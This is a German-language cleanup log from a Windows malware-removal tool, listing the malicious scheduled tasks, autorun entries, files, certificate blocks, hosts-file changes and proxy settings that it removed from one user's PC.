C:\Users\Nick Schuster\AppData\Local\clean => erfolgreich verschoben
C:\Windows\System32\Tasks\Update => erfolgreich verschoben
C:\Windows\System32\Tasks\Windows-PG => erfolgreich verschoben
C:\Update => erfolgreich verschoben
C:\Program Files (x86)\temp => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\Firefox => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Firefox => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\Yeshat => erfolgreich verschoben
C:\Windows\SysWOW64\3 => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\clean => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\BrowserModule => erfolgreich verschoben
C:\ProgramData\5aceedc5-7cf5-1 => erfolgreich verschoben
C:\ProgramData\5aceedc5-3161-0 => erfolgreich verschoben
C:\Windows\System32\Tasks\Milimili => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Kyubey => erfolgreich verschoben
C:\Program Files (x86)\MIO => erfolgreich verschoben
"C:\Users\Nick Schuster\AppData\Roaming\WinSAPSvc" => nicht gefunden.
C:\Program Files (x86)\BikaQRss => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\Mikghbiritain => erfolgreich verschoben
C:\Windows\System32\Tasks\Qizsywosale Core => erfolgreich verschoben
C:\Windows\System32\Tasks\Perkeentgreserk => erfolgreich verschoben
"C:\Program Files (x86)\Qizsywosale Core" => nicht gefunden.
C:\Windows\455cd42b03953ae3030f3e9254843325.exe => erfolgreich verschoben
C:\Users\Public\Documents\temp.dat => erfolgreich verschoben
C:\spyhunter.fix => erfolgreich verschoben
C:\ProgramData\ntuser.pol => erfolgreich verschoben
C:\Users\Nick Schuster\Desktop\982652986578268672 => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\agent.dat => erfolgreich verschoben
"C:\Users\Nick Schuster\AppData\Roaming\avv.exe" => nicht gefunden.
C:\Users\Nick Schuster\AppData\Roaming\Installer.dat => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Main.dat => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\ziptool_wc-9015_setup.exe => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Microsoft\taskhw.exe => erfolgreich verschoben
HKU\S-1-5-21-3847841184-804715454-2304624315-1001_Classes\CLSID\{D3BB05A4-7B0B-D6FE-9C46-02343C11E1C8} => Schl黶sel erfolgreich entfernt
HKU\S-1-5-21-3847841184-804715454-2304624315-1001_Classes\CLSID\{DC9D74AA-7319-69B5-E1DE-59842454B0BE} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{006195E7-5B35-4800-8C6E-E8E48BDE5D59} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{006195E7-5B35-4800-8C6E-E8E48BDE5D59} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\KMSAutoNet => erfolgreich verschoben
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\KMSAutoNet => Schl黶sel erfolgreich entfernt
C:\ProgramData\KMSAutoS => erfolgreich verschoben
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{12EA2644-53AB-4F3B-8420-DDC68495A6C2} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{12EA2644-53AB-4F3B-8420-DDC68495A6C2} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\Windows-PG => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Windows-PG => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{1400CED9-EAA0-49F8-A50B-2477914720B4} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{1400CED9-EAA0-49F8-A50B-2477914720B4} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\Games\UpdateCheck_S-1-5-21-3847841184-804715454-2304624315-1001 => erfolgreich verschoben
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Games\UpdateCheck_S-1-5-21-3847841184-804715454-2304624315-1001 => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{16129431-3A87-44D6-B1E9-5B37A253A591} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{16129431-3A87-44D6-B1E9-5B37A253A591} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\RunAtStartup => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\RunAtStartup => Schl黶sel erfolgreich entfernt
"C:\Users\Nick Schuster\AppData\Roaming\Event Monitor" => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{169116B2-0EF1-475C-8491-807AAB8364E3} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{169116B2-0EF1-475C-8491-807AAB8364E3} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\Microsoft\Windows\DeviceSettings\Puperpysikuy => erfolgreich verschoben
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\DeviceSettings\Puperpysikuy => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{2A619B04-44F2-4A39-B52E-0AD07E393C91} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{2A619B04-44F2-4A39-B52E-0AD07E393C91} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\Prervadom Cloud => erfolgreich verschoben
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Prervadom Cloud => Schl黶sel erfolgreich entfernt
"C:\Program Files (x86)\Mlecultfowudom" => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{2E2640BC-9462-4C5F-90BD-892338D59DF4} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{2E2640BC-9462-4C5F-90BD-892338D59DF4} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\Milimili => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Milimili => Schl黶sel erfolgreich entfernt
"C:\Program Files (x86)\MIO" => nicht gefunden.
"C:\Windows\System32\Tasks\Update" => nicht gefunden.

========= type "C:\Windows\System32\Tasks\Update" =========

Das System kann die angegebene Datei nicht finden.

========= Ende von CMD: =========

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{6AFC3B2B-BD1E-4624-B0FF-60E210D98357} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{6AFC3B2B-BD1E-4624-B0FF-60E210D98357} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\task Update => Schl黶sel nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{72FEC8A9-7468-4164-9720-A650AB414362} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{72FEC8A9-7468-4164-9720-A650AB414362} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\ttwifi => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ttwifi => Schl黶sel erfolgreich entfernt
"C:\Program Files (x86)\ttwifi" => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{74DECB46-8172-4D8D-A795-B4201324F918} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{74DECB46-8172-4D8D-A795-B4201324F918} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\Qizsywosale Core => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Qizsywosale Core => Schl黶sel erfolgreich entfernt
"C:\Program Files (x86)\Fepuly" => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Boot\{7DF225F2-E9BE-467E-BBE5-6136CE240342} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{7DF225F2-E9BE-467E-BBE5-6136CE240342} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\Quick Tharks Screen Saver => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Quick Tharks Screen Saver => Schl黶sel erfolgreich entfernt
C:\Program Files\Quick Tharks Screen Saver => erfolgreich verschoben
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{9BC09D15-0FE3-42E6-917C-A7AEE41F44B8} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{9BC09D15-0FE3-42E6-917C-A7AEE41F44B8} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\Samsung Update => erfolgreich verschoben
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Samsung Update => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{A885A6AF-A8B5-484C-9416-15C01E02D67D} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{A885A6AF-A8B5-484C-9416-15C01E02D67D} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\fyKiuMkkXh => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\fyKiuMkkXh => Schl黶sel erfolgreich entfernt
"C:\Program Files (x86)\XIOLoa7MyU" => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{B109EF88-6721-40A7-B261-9D175E298958} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B109EF88-6721-40A7-B261-9D175E298958} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\Coobeck Monitor => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Coobeck Monitor => Schl黶sel erfolgreich entfernt
"C:\Program Files (x86)\Arucerther" => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{B76D98BF-21F4-4F78-A43A-95F8B72AD43D} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B76D98BF-21F4-4F78-A43A-95F8B72AD43D} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\{0B047F47-0F0A-0408-0B11-087F0C0B110F} => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{0B047F47-0F0A-0408-0B11-087F0C0B110F} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{D18984F6-6A81-40A8-A7A5-020084C99227} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D18984F6-6A81-40A8-A7A5-020084C99227} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\{C8763487-4C07-317B-EF0E-D6F917015462} => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{C8763487-4C07-317B-EF0E-D6F917015462} => Schl黶sel erfolgreich entfernt
"C:\programdata\575f1242" => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{D66B17AC-FEAC-46B3-A7DF-3865C135032C} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D66B17AC-FEAC-46B3-A7DF-3865C135032C} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\Microsoft\Windows\MemoryDiagnostic\VideoMemoryDiagnostic => erfolgreich verschoben
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\MemoryDiagnostic\VideoMemoryDiagnostic => Schl黶sel erfolgreich entfernt
"C:\ProgramData\VideoMemoryDiagnostic" => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{D74DB4BE-DE57-43E2-97AF-575D2663AEE8} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D74DB4BE-DE57-43E2-97AF-575D2663AEE8} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\Perkeentgreserk => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Perkeentgreserk => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{E6C4E4E8-090E-49DF-8E3F-70FC88E8E56F} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{E6C4E4E8-090E-49DF-8E3F-70FC88E8E56F} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\{25FE2E5B-9255-99F0-1368-8A42E54326C9} => erfolgreich verschoben
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{25FE2E5B-9255-99F0-1368-8A42E54326C9} => Schl黶sel erfolgreich entfernt
"C:\ProgramData\{279BD4C5-9030-636E-34A5-319E03364EE3}" => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{EC667399-8041-43FD-BACE-C95F53D20EC6} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{EC667399-8041-43FD-BACE-C95F53D20EC6} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\SoftUpgrade => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\SoftUpgrade => Schl黶sel erfolgreich entfernt
"C:\Program Files (x86)\SoftUpgrade" => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{F51F669D-34D8-49E3-9371-1DA093A90419} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{F51F669D-34D8-49E3-9371-1DA093A90419} => Schl黶sel erfolgreich entfernt
C:\Windows\System32\Tasks\Gerfety Renew => nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Gerfety Renew => Schl黶sel erfolgreich entfernt
"C:\Program Files (x86)\Prfasaretaly" => nicht gefunden.
WMI_ActiveScriptEventConsumer_ASEC: <===== ACHTUNG => erfolgreich entfernt
C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VirtualDJ\Online Help.lnk => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\VirtualDJ\www.virtualdj.com.lnk => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Intеrnеt Ехрlоrеr.lnk => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\d6731079c9ca4513\Google Chrome.lnk => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\9501e18d7c2ab92e\CyberLyric - Chrome.lnk => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\8e5c0db72600a899\Google Chrome.lnk => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\82c1ad0bea96409d\CyberLyric - Chrome.lnk => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\360c22b137d62ce9\CyberLyric - Chrome.lnk => erfolgreich verschoben
"C:\Program Files (x86)\Applemy" => nicht gefunden.
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Classes\regfile => Schl黶sel erfolgreich entfernt
"C:\Windows\system32\Drivers\etc\hosts" => wurde entsperrt
C:\Windows\system32\Drivers\etc\hosts => erfolgreich verschoben
HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\Services\AppleAppSvc => Schl黶sel erfolgreich entfernt
HKLM\System\CurrentControlSet\Services\AppleAppSvc => Schl黶sel nicht gefunden.
HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\Services\Kitty => Schl黶sel erfolgreich entfernt
HKLM\System\CurrentControlSet\Services\Kitty => Schl黶sel nicht gefunden.
HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\Services\pgt_svc => Schl黶sel erfolgreich entfernt
HKLM\System\CurrentControlSet\Services\pgt_svc => Schl黶sel nicht gefunden.
HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\Services\srcsrv => Schl黶sel erfolgreich entfernt
HKLM\System\CurrentControlSet\Services\srcsrv => Schl黶sel nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\\vnlgp => Wert erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\\vnlgp => Wert nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\\gplyra => Wert erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\\gplyra => Wert nicht gefunden.
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run32\\KMS => Wert erfolgreich entfernt
HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\\KMS => Wert nicht gefunden.
C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\smss.exe => nicht gefunden.
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder\\smss.exe => Wert erfolgreich entfernt
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\\HKOEGBGL4X => Wert erfolgreich entfernt
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\\HKOEGBGL4X => Wert nicht gefunden.
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\\tsiVideo => Wert erfolgreich entfernt
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\\tsiVideo => Wert nicht gefunden.
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\\6CC2RLD170 => Wert erfolgreich entfernt
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\\6CC2RLD170 => Wert nicht gefunden.
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\03D22C9C66915D58C88912B64C1F984B8344EF09 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\0F684EC1163281085C6AF20528878103ACEFCAAB => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\1667908C9E22EFBD0590E088715CC74BE4C60884 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\18DEA4EFA93B06AE997D234411F3FD72A677EECE => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\2026D13756EB0DB753DF26CB3B7EEBE3E70BB2CF => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\249BDA38A611CD746A132FA2AF995A2D3C941264 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\31AC96A6C17C425222C46D55C3CCA6BA12E54DAF => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\331E2046A1CCA7BFEF766724394BE6112B4CA3F7 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\3353EA609334A9F23A701B9159E30CB6C22D4C59 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\373C33726722D3A5D1EDD1F1585D5D25B39BEA1A => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\3850EDD77CC74EC9F4829AE406BBF9C21E0DA87F => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\3D496FA682E65FC122351EC29B55AB94F3BB03FC => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\4243A03DB4C3C15149CEA8B38EEA1DA4F26BD159 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\42727E052C0C2E1B35AB53E1005FD9EDC9DE8F01 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\4420C99742DF11DD0795BC15B7B0ABF090DC84DF => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\4C0AF5719009B7C9D85C5EAEDFA3B7F090FE5FFF => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\5240AB5B05D11B37900AC7712A3C6AE42F377C8C => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\5DD3D41810F28B2A13E9A004E6412061E28FA48D => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\7457A3793086DBB58B3858D6476889E3311E550E => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\76A9295EF4343E12DFC5FE05DC57227C1AB00D29 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\775B373B33B9D15B58BC02B184704332B97C3CAF => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\872CD334B7E7B3C3D1C6114CD6B221026D505EAB => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\88AD5DFE24126872B33175D1778687B642323ACF => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\9132E8B079D080E01D52631690BE18EBC2347C1E => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\982D98951CF3C0CA2A02814D474A976CBFF6BDB1 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\9A08641F7C5F2CCA0888388BE3E5DBDDAAA3B361 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\9C43F665E690AB4D486D4717B456C5554D4BCEB5 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\9E3F95577B37C74CA2F70C1E1859E798B7FC6B13 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\A1F8DCB086E461E2ABB4B46ADCFA0B48C58B6E99 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\A5341949ABE1407DD7BF7DFE75460D9608FBC309 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\A59CC32724DD07A6FC33F7806945481A2D13CA2F => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\AB7E760DA2485EA9EF5A6EEE7647748D4BA6B947 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\AD4C5429E10F4FF6C01840C20ABA344D7401209F => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\AD96BB64BA36379D2E354660780C2067B81DA2E0 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\B8EBF0E696AF77F51C96DB4D044586E2F4F8FD84 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\CDC37C22FE9272D8F2610206AD397A45040326B8 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\D3F78D747E7C5D6D3AE8ABFDDA7522BFB4CBD598 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\DB303C9B61282DE525DC754A535CA2D6A9BD3D87 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\DB77E5CFEC34459146748B667C97B185619251BA => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\E22240E837B52E691C71DF248F12D27F96441C00 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\E513EAB8610CFFD7C87E00BCA15C23AAB407FCEF => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\ED841A61C0F76025598421BC1B00E24189E68D54 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\F83099622B4A9F72CB5081F742164AD1B8D048C9 => Schl黶sel erfolgreich entfernt
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\FBB42F089AF2D570F2BF6F493D107A3255A9BB1A => Schl黶sel erfolgreich entfernt
Hosts erfolgreich wiederhergestellt.

========= RemoveProxy: =========

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => Wert erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings => Wert erfolgreich entfernt
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => Wert erfolgreich entfernt
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings => Wert erfolgreich entfernt
HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => Wert erfolgreich entfernt
HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings => Wert erfolgreich entfernt
HKU\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings => Wert erfolgreich entfernt
